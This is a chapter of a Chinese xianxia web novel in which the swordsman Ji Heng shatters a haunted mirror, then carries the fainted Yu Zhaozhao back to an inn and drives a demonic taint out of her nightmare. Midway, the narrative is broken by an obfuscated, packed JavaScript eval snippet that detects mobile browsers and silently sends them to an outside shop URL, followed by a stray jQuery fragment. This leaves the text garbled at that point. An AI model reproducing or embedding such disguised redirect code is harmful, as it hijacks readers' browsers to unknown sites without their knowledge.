季珩提着剑,一步一步逼近那铜镜。
镜中的倒影扭曲晃动,有无数黑影在后攒动。
他没有丝毫犹豫,手腕一翻,剑光划过。
“咔嚓!”
镜面应声碎裂,打破了一潭死水的平静。
紧接着,浓郁的黑气从裂口中汹涌喷出。
其中一缕格外狡黠的黑气,趁着混乱,像泥鳅一样滋溜就往外窜。
季珩眼神一凛,转身正欲追上。
“仙、仙长!”
张员外连滚爬爬地从门外扑进来,脸白得像刷了层浆糊,指着外面,声音劈了叉。
“那位……那位女仙长!她、她晕过去了!”
季珩追出去的脚步硬生生刹住。
他猛地回头,目光越过张员外,落在庭院中那个倒在地上的身影上。
啧。
他转身,快步走到虞昭昭身边,蹲下身。
指尖凝起一点微光,轻轻点在她眉心,灵力如丝般探入。
探查的结果让他的眉头拧成了一个结。
灵台晦暗,经脉中盘踞着一股邪气,正侵蚀着她的神识。
这妖物下手倒是刁钻。
“麻烦。”
他低声吐出两个字,听不出是什么情绪。
话虽如此,动作却利落干脆。
他收起佩剑,俯身,一手绕过她后背,一手穿过她膝弯,稍一用力,便将人稳稳地打横抱了起来。
入手的分量让他顿了一下。
好轻。
轻得像片羽毛。
这念头让他有些莫名的烦躁。
这女人平时在食堂风卷残云,一个人能干两碗饭的气势哪儿去了?
肉都吃到哪里去了?
他面无表情地抱着人,转身,踏出张府。
……
驿站里,先一步回来的江映雪四人正在大堂交换着各自探查到的线索,气氛有些凝重。
所以当众人看见季珩抱着昏迷不醒,脸色苍白的虞昭昭走进来时,空气凝固了。
“季师弟!”
江映雪第一个站起来,脸上惯有的温柔被惊愕取代。
“昭昭师妹这是怎么了?受伤了?”
季珩上楼的脚步顿了顿,侧脸在楼梯阴影里显得冷硬,言简意赅。
“等会再说。”
“可是......"
急性子的沈念初想追问,被旁边的孟安时轻轻拉住了袖子,对她摇了摇头。
众人只得压下心中疑虑,看着季珩抱着虞昭昭消失在二楼转角。
房间内,季珩将虞昭昭小心地放到床榻上,动作算不上多温柔,但至少没把人直接撂下。
看着床上无知无觉的人,他舒了口气,随即眉头又锁紧了。
他重新在床边坐下,闭上眼,双手虚按在虞昭昭丹田上方。
精纯而凛冽的灵力自他掌心缓缓涌出,小心翼翼地探入她紊乱的经脉,试图驱散其中的妖气。
灵力源源不断地输送着,时间一点点流逝。
然而,床上的人丝毫没有转醒的迹象。
不仅如此,她原本苍白的脸上,反而渐渐浮起一种极其痛苦的神色,眉头紧锁,嘴唇微微颤抖。
……
梦。
无边无际的,猩红色的梦。
虞昭昭站在一片废墟之中,眼前是熊熊燃烧的逍遥宗。
熟悉的飞檐亭台在烈焰中坍塌,往日同门的身影倒在血泊里,面目模糊。
她甚至看见了师父叶清,那总是醉醺醺的老头儿,胸口破开一个大洞,倒在他最爱的酒葫芦旁。
“不……不要……”
巨大的悲痛和恐惧攥住了她的心脏,眼泪不受控制地大颗滚落。
她捂住耳朵蹲下身,可那些凄厉的惨叫,火焰燃烧的噼啪声,无孔不入。
她知道这是梦,是假的。
可那种撕心裂肺的痛楚是如此真实。
是谁?到底是谁造成了这一切?
她泪眼朦胧地抬起头,拼命想看清火海深处那个模糊的身影,可视野却像是蒙上了一层厚厚的血污,怎么也看不清。
看不清,恨意却如同野草般在心底疯狂滋长。
怨毒、愤怒、绝望。
种种情绪混合着那侵入的妖气,在她体内横冲直撞,几乎要将她的理智吞没。
……
现实中,季珩输送灵力的动作猛地一滞。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535906|202527||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他感觉到虞昭昭体内那股原本的妖气,此刻如同被浇了油的火,骤然变得狂暴起来,裹挟着一股浓烈的不甘与怨念,激烈地抵抗着他的灵力净化。
两股力量在她脆弱的经脉中对冲,让昏迷中的人痛苦地蜷缩起来。
“咳……”
季珩喉头一甜,强行将翻涌的气血压了下去。
他的脸色苍白了几分。
看着虞昭昭痛苦挣扎的脸,忽然沉声开口,声音不高,直接撞入她的识海。
“虞昭昭。”
“你看到的,都是假的。”
“别被怨念牵着鼻子走。”
……
梦中的虞昭昭,在一片猩红与哀嚎的混沌里,听到了那熟悉的声音。
好像溺水的人终于抓到了绳索。
假的……对,是假的!
逍遥宗还好好的,师父肯定又在偷喝酒,同门们也都在。
这个念头如同破开乌云的一线阳光,瞬间照进了她被怨念充斥的心底。
体内那股狂暴的,几乎要反客为主的妖魔之气,也随之微微一滞。
就是现在。
季珩眼神一凝,抓住这稍纵即逝的破绽,磅礴的灵力骤然加大输出,一举将那股顽固的邪气彻底净化。
“唔……”
虞昭昭长睫颤动了几下,终于缓缓睁开了眼睛。
视线先是模糊,然后渐渐聚焦,对上了一张略显苍白的脸。
是季珩。
他额角有细微的汗珠,眼神里带着一丝疲惫。
“谢……”
她张了张嘴,声音干涩。
然而,感谢的话还没说完,就被对方带着十足嫌弃的语气打断了。
“谢什么。”
季珩收回手,站起身,居高临下地睨着她。
“是你自己太弱。”
他丢下这句话,转身就往外走。
走到门口,脚步顿了顿,头也没回地扔下一句。
“师姐他们很担心。”
“休息好了就下来。”
然后,“哐”一声,门被带上了。
虞昭昭躺在床上,看着紧闭的房门,眨了眨眼。
果然,感动不过三秒。